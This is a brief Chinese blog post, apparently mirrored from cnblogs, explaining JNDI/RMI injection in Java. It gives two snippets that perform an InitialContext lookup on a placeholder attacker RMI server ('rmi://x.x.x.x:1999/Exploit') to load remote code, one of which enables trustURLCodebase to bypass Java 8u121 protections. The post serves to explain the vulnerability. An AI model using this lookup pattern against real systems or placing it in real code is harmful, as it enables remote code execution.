zoukankan      html  css  js  c++  java
  • rmi的调用

    在java8  121版本以前,只要这样就能任意代码

    rmiTest.java

    import javax.naming.InitialContext;
    import javax.naming.NamingException;
    
    public class rmiTest {
        public static void main(String[] args) throws IOException, NamingException {
            InitialContext xxx = new InitialContext();
            xxx.lookup("rmi://x.x.x.x:1999/Exploit");
        }
    }
    

    在java8  121版本之后,需要加com.sun.jndi.rmi.object.trustURLCodebase=true

    rmiTest2

    import javax.naming.InitialContext;
    import javax.naming.NamingException;
    
    public class rmiTest2 {
        public static void main(String[] args) throws IOException, NamingException {
            System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
            InitialContext xxx = new InitialContext();
            xxx.lookup("rmi://x.x.x.x:1999/Exploit");
        }
    }
    

      

    rmi在java8  121版本之前的调用满足:

    一个类,一个方法,一个参数,就能实现java的任意代码执行。

  • 相关阅读:
    将HTML格式的String转化为HTMLElement
    程序执行效率
    Oracle之sql追踪
    单行bash、shell、perl命令
    主机安装
    时间序列分析
    R统计图
    需求分析
    oracle数据导入导出
    linux权限问题
  • 原文地址:https://www.cnblogs.com/yangxiaodi/p/10840674.html
Copyright © 2011-2022 走看看